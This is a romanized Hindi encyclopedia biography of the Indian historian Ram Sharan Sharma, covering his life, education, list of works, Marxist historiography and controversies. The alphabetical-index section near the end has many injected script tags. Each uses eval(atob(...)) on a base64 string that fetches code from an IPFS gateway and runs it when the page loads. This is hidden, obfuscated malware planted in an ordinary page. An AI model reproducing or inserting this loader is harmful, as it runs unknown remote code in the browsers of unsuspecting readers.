राम शरण शर्मा

ram sharan sharma (janm- 26 navambar, 1919, begusaray, bihar; mrityu- 20 agast, 2011, patana) bharat ke prasiddh itihasakar the. ve samaj ko hakikat se ru-b-ru karane vale, antarashtriy khyatiprapt bharatiy itihasakaroan mean se ek the. ramasharan sharma 'bharatiy itihas' ko vanshavadi kathaoan se mukt kar samajik aur arthik itihas lekhan ki prakriya ki shuruat karane valoan mean gine jate the. varsh 1970 ke dashak mean 'dilli vishvavidyalay' ke itihas vibhag ke din ke roop mean prophesar ar. es. sharma ke karyakal ke dauran vibhag ka vyapak vistar kiya gaya tha. vibhag mean adhikaansh padoan ki rachana ka shrey bhi prophesar sharma ke prayasoan ko hi diya jata hai.

janm tatha shiksha

ram sharan sharma ka janm 26 navambar, 1919 ee. ko bihar (british bharat) ke begusaray zile ke barauni phlaig gaanv ke ek nirdhan parivar mean hua tha.^[1] yah ilaka samriddh kheti ke sath-sath 'bharatiy kamyunist parti' ke netritv mean samantavad virodhi sangharsh ke lie bhi jana jata tha. ise log "bihar ka leninagrad" kahate the. inake ghar ki arthik sthiti achchhi nahian thi. ram sharan sharma ke dada aur pita barauni dyodi vale ke yahaan chakari karate the. inake pita ko apani roji-roti ke lie kafi sangharsh karana p da tha. pita ne b di mushkil se apane putr ki maitrik tak ki shiksha ki vyavastha ki thi. ram sharan sharma prarambh se hi medhavi chhatr rahe the aur apani buddhimatta se ve lagatar chhatravritti prapt karate rahe. yahaan tak ki apani shiksha mean sahayog ke lie unhoanne niji tyooshan bhi padhaee. unhoanne 1937 mean apani maitrik ki pariksha uttirn ki aur 'patana k aaulej' mean dakhila liya. yahaan unhoanne iantaramidiet se lekar snatakottar kakshaoan mean chh: varshoan tak adhyayan kiya aur varsh 1943 mean itihas mean em.e. ki digri prapt ki. ram sharan sharma ne piechadi ki upadhi 'landan vishvavidyalay' ke 'skool aauf़ orieantal eand aphrikan stadij' se prophesar arthar levelin baisham ke adhin poorn ki thi.

itihas lekhak

itihas ke jane-mane lekhak ram sharan sharma ne pandrah bhashaoan mean sau se bhi adhik kitabean likhian. unaki likhi gayi prachin itihas ki kitabean desh ki uchch shiksha mean kafi ahamiyat rakhati haian. prachin itihas se jo dakar har sam-samayik ghatanaoan ko jo dakar dekhane mean sharma ji ko maharath hasil thi. ramasharan sharma ke dvara likhi gayi pustak "prachin bharat ke itihas" ko padhakar chhatr 'sangh lok seva ayog' jaisi pratishthit parikshaoan ki taiyari karate haian.

rachanaean

ram sharan sharma ne itihas lekhan ke kshetr mean apana amooly yogadan dekar use samriddh banaya. unaki itihas ki rachanaean uchch star ki pratiyogi parikshaoan mean mahattvapoorn sthan rakhati haian. ram sharan sharma ki kuchh pramukh rachanaean nimnalikhit haian-

ram sharan sharma ki pramukh rachanaean
rachana	varsh
'ary evan h dappa sanskritiyoan ki bhinnata'^[2]
'bharatiy samantavad'
'shoodroan ka prachin itihas'
'prachin bharat mean rajanitik vichar evan sansthaean
'bharat ke prachin nagaroan ka itihas'
'aryoan ki khoj'
'praranbhik madhyakalin bharatiy samaj: samantikaran ka ek adhyayan'
'kamyunal histri eand rama'j ayodhya'
'vishv itihas ki bhoomika'^[1]	1951-52
'sam ikanamikal espekts aauf d kast sistam in eanshieant iandiya'	1951
'rol aauf proparti eand kast in d orijin aauf d stet in eanshieant iandiya'	1951-52
'shudraj in enasieant iandiya evan aspekts aauf aidiyaz eand ianstityooshan in eanshieant iandiya'	1958
'aspekts aauf politikal aidiyaj eand ianstichyooshan in eanshieant iandiya'	1959
'iandiyan phayoodalijam'	1965
'rol aauf ayaran in orijin aauf buddhijm'	1968
'prachin bharat ke paksh mean'	1978
'meteriyal kalchar eand soshal pharmeshan in eanshieant iandiya'	1983
'parsapektivs in soshal eand ikonaumikal histri aauf arli iandiya'	1983
'arban dike in iandiya-300 edi se 1000 edi'	1987
'saanpradayik itihas aur ram ki ayodhya'	1990-91
'rashtr ke nam itihasakaroan ki rapat'	1991
'lookiang ph aaur d aryans'	1995
'eplayad saianses eand teknolaji'	1996
'edaveant aauf d aryans in iandiya'	1999
'arli medieval iandiyan sosaiti:e stadi in phyoodalaeejeshan'	2001

marksavad ka adhyayan

ram sharan sharma kisi bhi rajanitik dal ke sadasy nahian the, kintu marksavad ka adhyayan, chiantan, manan inake pramukh karyoan mean se ek tha, jisaka sidha prabhav unake lekhan mean dekhane ko milata hai. 'bharatiy itihas' ke lekhan mean 1940 mean prakashit 'adhe bharatiy evan adhe svidish', british kamyunist parti ke sachiv rajani pam datt ki 'pustak iandiya tude', 1956 mean damodar dharmanand kosambi ki 'en iantrodakshan too d stadi aauf idiyan histri' evan 1958 mean ramasharan sharma ki 'shudraj in enasieant iandiya' aur 'aspekts aauf aidiyaz eand ianstityooshan in eanshieant iandiya' evan 1965 mean iraphan habib ki aurangazeb ki kattar dharmikata par keandrit 'd agreriyan sistam aauf mugals' adi pustakoan ko 'bharatiy itihas' ko marksavadi prabhav ke paripeksh mean dekhane ka ek saphal prayas ke roop mean mana jata hai, jisaki purazor sthapana san 1965 prakashit ramasharan sharma ki pustak 'iandiyan phyoodalijm' se ho jati hai, aisa kee itihasakaroan ka manana hai.^[1]

vivad

ram sharan sharma ki rachana "prachin bharat" ko krishna ki aitihasikata aur mahabharat mahakavy ki ghatanaoan ki alochana ke lie 1978 mean janata parti sarakar ki or se pratibandhit kar diya gaya tha. ayodhya ke vivad par bhi unhoanne bahut kuchh likha tha, jisako lekar desh bhar mean bahas chhi d gayi thi. varsh 2002 ke gujarat dangoan ko yuvaoan ki samajh badhane ke lie 'samajik roop se prasangik vishay' batate hue ise vidyalay ke pathyakram mean shamil karane ka samarthan kiya tha. yah unaki tippani hi thi, jab enasieearati ne gujarat ke dangoan aur ayodhya vivad ko 1984 ke sikkh virodhi dangoan ke sath barahavi kaksha ki rajaniti vijnan ki pustakoan mean shamil karane ka phaisala kiya, jisaka tark yah diya gaya ki in ghatanaoan ne ajadi ke bad desh mean rajanitik prakriya ko prabhavit kiya tha.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 samajik parivartan ka itihasakar (hindi). . abhigaman tithi: 25 mee, 2013.
↑ ^2.0 ^2.1 ram sharan sharma ka nidhan (hindi). . abhigaman tithi: 25 mee, 2013.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[ab-1] 1.0 ^1.1 ^1.2 samajik parivartan ka itihasakar (hindi). . abhigaman tithi: 25 mee, 2013.

[ac-2] 2.0 ^2.1 ram sharan sharma ka nidhan (hindi). . abhigaman tithi: 25 mee, 2013.

[1]

[2]